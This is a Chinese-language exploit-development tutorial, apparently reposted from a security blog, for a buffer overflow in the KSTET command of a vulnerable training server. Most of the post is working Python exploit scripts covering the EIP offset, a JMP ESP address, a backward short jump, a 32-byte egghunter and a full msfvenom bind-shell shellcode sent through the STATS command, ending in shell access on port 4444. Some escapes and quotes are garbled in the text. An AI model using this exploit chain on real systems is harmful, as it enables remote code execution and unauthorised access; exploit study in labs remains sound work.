使用Egghunter以最小的缓冲区空间开发KSTET命令

admin 2023年3月17日10:55:35评论16 views字数 7024阅读23分24秒阅读模式

我使用下面的muban对KSTET命令进行利用。这次我没有发送5000字节的字符来对该命令进行迷糊测试,而是只用了1000字节。

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A”*1000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

使用这1000字节的缓冲区足以使应用程序崩溃。正如我们所看到的,即使我们已经发送了1000字节的字符,也只有94字节被应用程序接受。

使用Egghunter以最小的缓冲区空间开发KSTET命令

使用 !mona pc 1000,我生成了1000字节的唯一字符串作为缓冲区,这样我就可以确定覆盖EIP的偏移量。

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

发送这个独特的字符串会导致EIP被63413363覆盖。

使用Egghunter以最小的缓冲区空间开发KSTET命令

使用 !mona findmsp,我发现偏移量是70字节。

使用Egghunter以最小的缓冲区空间开发KSTET命令

为了验证它是否正确,我使用以下的代码进行攻击。

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*70
buffer += "BBBB"
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

正如我们看到的,这个偏移量是正确的,EIP被4个B所覆盖。这里需要注意的是,ESP指向了20字节的C,它位于4个B的后面。

使用Egghunter以最小的缓冲区空间开发KSTET命令

在有限的缓冲空间我们可以把字符从x01拆开到xFF来识别坏字符。同样,NULL(x00)字符目前已经被删除。第一次分割包含了从x01到4F的字符。

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

badchars = ("x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1f"
"x20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3f"
"x40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4f")

buffer = badchars
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

从这里可以看出,没有检测到任何坏字符。

使用Egghunter以最小的缓冲区空间开发KSTET命令

我测试的下一批字符是 x50 到 x9F。

使用Egghunter以最小的缓冲区空间开发KSTET命令

我们继续跟踪xA0 到 xCF

使用Egghunter以最小的缓冲区空间开发KSTET命令

最后一批是 xD0 到 xFF。经过多次重复的识别坏字符,发现只有x00是一个坏字符。

使用Egghunter以最小的缓冲区空间开发KSTET命令

然后我用 !mona jmp -r esp -m 'essfunc.dll' 来识别一个包含JMP ESP指令的地址。发现了几个地址。那么在这次测试中,我使用了0x625011AF。

使用Egghunter以最小的缓冲区空间开发KSTET命令

然后我修改了代码,使用了发现的地址。

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*70
buffer += "xAFx11x50x62" # JMP ESP 625011AF from essfunc.dll
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

从这里可以看出,它确实起作用了,我被重定向到了C字符的缓冲区。A的缓冲区位于C的缓冲区的上方。所以,我必须再次向后跳。

使用Egghunter以最小的缓冲区空间开发KSTET命令

这次我决定不跳到A的开头,而是只跳回50个字节。短跳的操作码是xEB,而-50相当于0xFFFFFFCE。

使用Egghunter以最小的缓冲区空间开发KSTET命令

所以,我用来向后跳转50字节的指令的操作码是xEBxCE。

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*70
buffer += "xAFx11x50x62" # JMP ESP 625011AF from essfunc.dll
buffer += "xEBxCE" # Jump back 50 bytes to give room for egghunter
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

如图所示,我跳转成功了,我被重定向到了相对跳转指令($)位置的48个字节($-30h)。如果你想知道为什么只有48个字节,因为缺少的2个字节被操作码xEBxCE覆盖。

使用Egghunter以最小的缓冲区空间开发KSTET命令

既然一切都运行良好,我就用!!mona egg -t Capt来生成egghunter

使用Egghunter以最小的缓冲区空间开发KSTET命令

在使用egghunter之前,我必须首先确定egghunter代码前的偏移量(A的数量)。在此我做了一个简单的计算:原70字节的A+4字节的JMP ESP+2字节的后跳操作码-50字节的后跳长度=26字节的A。下面显示了缓冲区的示意图和程序运行流程。

使用Egghunter以最小的缓冲区空间开发KSTET命令

为了验证我的计算是否正确,我运行以下内容进行测试。

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

# Egg: Capt
# Size: 32 bytes
egghunter = ("x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"
"xefxb8x43x61x70x74x8bxfaxafx75xeaxafx75xe7xffxe7")

buffer = "A"*26
buffer += egghunter
buffer += "A"*(70-len(buffer))
buffer += "xAFx11x50x62" # JMP ESP 625011AF from essfunc.dll
buffer += "xEBxCE" # Jump back 50 bytes to give room for egghunter
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

程序运行成功! 我被重定向到了egghunter代码的开头。

使用Egghunter以最小的缓冲区空间开发KSTET命令

然后我用MSFvenom生成了一个shellcode。

使用Egghunter以最小的缓冲区空间开发KSTET命令

由于shellcode不适合放在KSTET命令中,我使用STATS命令来发送我的shellcode。这样,我的shellcode就会被放在内存的某个地方,然后让egghunter找到它。

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "x00" -f c
# Payload size: 355 bytes
shellcode = ("xb8x43x44x5dxedxddxc0xd9x74x24xf4x5ex31xc9xb1"
"x53x31x46x12x03x46x12x83x85x40xbfx18xf5xa1xbd"
"xe3x05x32xa2x6axe0x03xe2x09x61x33xd2x5ax27xb8"
"x99x0fxd3x4bxefx87xd4xfcx5axfexdbxfdxf7xc2x7a"
"x7ex0ax17x5cxbfxc5x6ax9dxf8x38x86xcfx51x36x35"
"xffxd6x02x86x74xa4x83x8ex69x7dxa5xbfx3cxf5xfc"
"x1fxbfxdax74x16xa7x3fxb0xe0x5cx8bx4exf3xb4xc5"
"xafx58xf9xe9x5dxa0x3excdxbdxd7x36x2dx43xe0x8d"
"x4fx9fx65x15xf7x54xddxf1x09xb8xb8x72x05x75xce"
"xdcx0ax88x03x57x36x01xa2xb7xbex51x81x13x9ax02"
"xa8x02x46xe4xd5x54x29x59x70x1fxc4x8ex09x42x81"
"x63x20x7cx51xecx33x0fx63xb3xefx87xcfx3cx36x50"
"x2fx17x8excexcex98xefxc7x14xccxbfx7fxbcx6dx54"
"x7fx41xb8xc1x77xe4x13xf4x7ax56xc4xb8xd4x3fx0e"
"x37x0bx5fx31x9dx24xc8xccx1ex5bx55x58xf8x31x75"
"x0cx52xadxb7x6bx6bx4axc7x59xc3xfcx80x8bxd4x03"
"x11x9ex72x93x9axcdx46x82x9cxdbxeexd3x0bx91x7e"
"x96xaaxa6xaax40x4ex34x31x90x19x25xeexc7x4ex9b"
"xe7x8dx62x82x51xb3x7ex52x99x77xa5xa7x24x76x28"
"x93x02x68xf4x1cx0fxdcxa8x4axd9x8ax0ex25xabx64"
"xd9x9ax65xe0x9cxd0xb5x76xa1x3cx40x96x10xe9x15"
"xa9x9dx7dx92xd2xc3x1dx5dx09x40x3dxbcx9bxbdxd6"
"x19x4ex7cxbbx99xa5x43xc2x19x4fx3cx31x01x3ax39"
"x7dx85xd7x33xeex60xd7xe0x0fxa1")

# Egg: Capt
# Size: 32 bytes
egghunter = ("x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"
"xefxb8x43x61x70x74x8bxfaxafx75xeaxafx75xe7xffxe7")

buffer = "A"*26
buffer += egghunter
buffer += "A"*(70-len(buffer))
buffer += "xAFx11x50x62" # JMP ESP 625011AF from essfunc.dll
buffer += "xEBxCE" # Jump back 50 bytes to give room for egghunter
buffer += "C"*(1000-len(buffer))

# Used to send the 2nd stage shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending shellcode somewhere in memory via STATS command..."
s.send("STATS " + "CaptCapt" + shellcode)
print s.recv(1024)
s.close()

# Used to send the 1st stage shellcode (egghunter)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

在执行完最终的代码后,egghunter成功地在STATS命令后运行了我的shellcode。

使用Egghunter以最小的缓冲区空间开发KSTET命令

最终,目标机在4444/tcp上产生了一个 "监听 "端口。

使用Egghunter以最小的缓冲区空间开发KSTET命令

最后要做的是连接到新打开的端口,获得shell访问权限。

使用Egghunter以最小的缓冲区空间开发KSTET命令

来源先知社区的【天明 师傅

注:如有侵权请联系删除

使用Egghunter以最小的缓冲区空间开发KSTET命令

 

如需进群进行技术交流,请扫该二维码

使用Egghunter以最小的缓冲区空间开发KSTET命令


原文始发于微信公众号(衡阳信安):使用Egghunter以最小的缓冲区空间开发KSTET命令

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日10:55:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用Egghunter以最小的缓冲区空间开发KSTET命令http://cn-sec.com/archives/1610366.html

发表评论

匿名网友 填写信息